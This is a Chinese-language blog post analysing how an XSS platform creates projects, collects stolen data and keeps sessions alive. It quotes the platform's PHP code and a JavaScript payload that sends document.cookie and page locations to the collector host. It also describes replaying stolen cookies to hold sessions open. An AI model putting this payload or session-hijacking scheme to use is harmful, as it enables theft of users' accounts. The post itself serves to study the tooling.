好奇驅使我對XSS平台的一次小研究
來自專欄 226safe Team
本文作者:226safe Team - Poacher
226團隊交流群:673441920
前言
這一段時間博客一直木有時間和東西產出,所以趁著這個小短假研究了一下XSS平台的運行原理是怎麼樣的。
該博文大概是這麼一個流程:創建-》接收返回數據-》存儲返回數據-》如何維持會話有效期
正文
創建
首先看下平台從創建項目的流程開始進行分析。
首先創建一個默認模塊項目的話,那麼它是如何存入至資料庫的呢?
我們來看看代碼
$id=Val(id,POST,1); //接收項目id $ty=Val(ty,POST); //獲取類型,如:創建 $db=DBConnect(); $project=$db->FirstRow("SELECT * FROM ".Tb(project)." WHERE id={$id} AND userId=".$user->userId.""); if(empty($project)) ShowError(項目不存在或沒有許可權); //查詢創建是否存在及所屬者 //模塊 $modules=Val(modules,POST,1,1); //接收模塊id $code=Val(code,POST); //接收自定義代碼內容 $values=array( code=>$code ); if(!empty($modules)){ $values[modules]=JsonEncode($modules); //將接收的模塊id轉為json後放入values數組內 $moduleSetKeys=array(); //配置的參數 foreach($modules as $mId){ $module=$db->FirstRow("SELECT * FROM ".Tb(module)." WHERE id={$mId}");//查詢這個模塊的信息 if(!empty($module) && !empty($module[setkeys])){ $mSetKeys=(array)json_decode($module[setkeys],true); //獲取這個模塊的配置參數在專程數組格式 foreach($mSetKeys as $setkey){ $setkeyK="setkey_{$mId}_{$setkey}";//這裡在處理要接收的參數名 $setkeyV=Val($setkeyK,POST); //開始接收 if(!empty($setkeyV)) $moduleSetKeys["$setkeyK"]=urlencode($setkeyV);//如果有參數的話那麼就塞入moduleSetKeys數組內。 } } } $values[moduleSetKeys]=JsonEncode($moduleSetKeys);//最後在專程json放入values數組裡 }
看到資料庫,可以看到 modules
存放的為模塊 id
而 moduleSetKeys
存放的則是配置參數,如果沒有選擇參數的話則為空。
這個就是創建完項目後,項目的簡略的存儲情況。
接收存儲返回數據
接下來就繼續來看下,平台是如何接收到 cookie
並且返回存儲至資料庫的。
我們可以關注到項目代碼這一塊地方。
主要的獲取cookie操作就在於這段js代碼裡面,隨後在將數據發送至某個控制器中進行處理。
我們插入的短地址指向的內容其實就是這一串JS代碼。最後訪問即直接調用的這串JS代碼。
首先是創建一個 Image對象
,隨後定義Image對象
的src。請求的URL就是xss平台的URL,可以這樣理解。這裡是對xss平台URL進行一次請求,而這個URL是怎麼樣的呢。
(function(){ (new Image()).src=http://192.168.31.220/xss_platform//index.php?do=api&id=nK91eT&location=+escape((function(){ try{ return document.location.href }catch(e){ return } }) ())+&toplocation=+escape((function(){ try{ return top.location.href }catch(e){ return } }) ())+&cookie=+escape((function(){ try{ return document.cookie }catch(e){ return } }) ())+&opener=+escape((function(){ try{ return (window.opener && window.opener.location.href)?window.opener.location.href: }catch(e){ return } })()); })();
可以看到其實都是一些基礎的js代碼,比如:document.location.href
、top.location.href
、document.cookie
等,最後拼接成的一個URL,然後對URL進行請求。
最後請求的URL會變成:
http://192.168.31.220/xss_platform//index.php?do=api&id=dUqQim&location=http%3A//192.168.31.220/xss_platform/&toplocation=http%3A//192.168.31.220/xss_platform/&cookie=cookie信息&opener=
隨後就會到 api
這個控制器里對 id
、location
、toplocation
、cookie
、opener
這些參數進行接收並且處理。
對數據格式進行處理之後,將數據存儲至 project_content
這張表中。
當 keepsession
是選中狀態的時候,那麼以下代碼就會觸發。先是觸發到 api
控制器,隨後會在請求一次URL,觸發的為 keepsession
控制器,用於維持會話。
if(1==1){ keep=new Image(); keep.src=http://192.168.31.220/xss_platform//index.php?do=keepsession&id=nK91eT&url=+escape(document.location)+&cookie=+escape(document.cookie) };
代碼如下:
$urlKey=Val(id,GET); $url=Val(url,GET); $cookie=Val(cookie,GET); $db=DBConnect(); $project=$db->FirstRow("SELECT * FROM ".Tb(project)." WHERE urlKey={$urlKey}"); if(!empty($project) && !empty($url) && !empty($cookie)){ $hash=md5($url.$cookie); $existed=$db->FirstValue("SELECT COUNT(*) FROM ".Tb(keepsession)." WHERE hash={$hash}"); if($existed<=0){ //判斷用戶key session的請求數量 $sum=$db->FirstValue("SELECT COUNT(*) FROM ".Tb(keepsession)." WHERE userId={$project[userId]}"); if($sum<10){ $sqlValues=array( projectId=>$project[id], userId=>$project[userId], url=>$url, cookie=>$cookie, hash=>$hash, addTime=>time(), updateTime=>time() ); $db->AutoExecute(Tb(keepsession),$sqlValues); } } }
可以看到,經過邏輯判斷之後呢,最後可以看到是將項目id
,用戶id
,url
,cookie
,hash
,addTime
,updateTime
存儲至了 keepsession
表中的。
整個接收及存儲的流程就是這樣。
維持會話有效期
在打到cookie,可能有的時候沒有來得及查看,等到反應過來再去查看的時候會話就已經過期了。那麼 keepsession
到底是怎麼樣實現的呢。
看了下代碼發現很簡單,平台會自動的隔一段時間,遍歷整個 keepsession
表裡面的數據。隨後循環對目標伺服器進行一次帶cookie的請求。這樣就實現了維持會話的功能了。
PS:文章木有什麼技術含量,好奇驅使我對該平台的一次小學習,結果發現跟想像中的一致,但是良好的習慣驅使我將這次學習記錄下來。
推薦閱讀:
※網路安全 | 腳本小子學習攻略
※[漏洞復現] MS17-010 基於"永恆之藍"實現Windows Getshell
※php菜刀的研究一
※[漏洞復現] CVE-2017-7494 隱藏7年之久的Linux版"永恆之藍"出現了...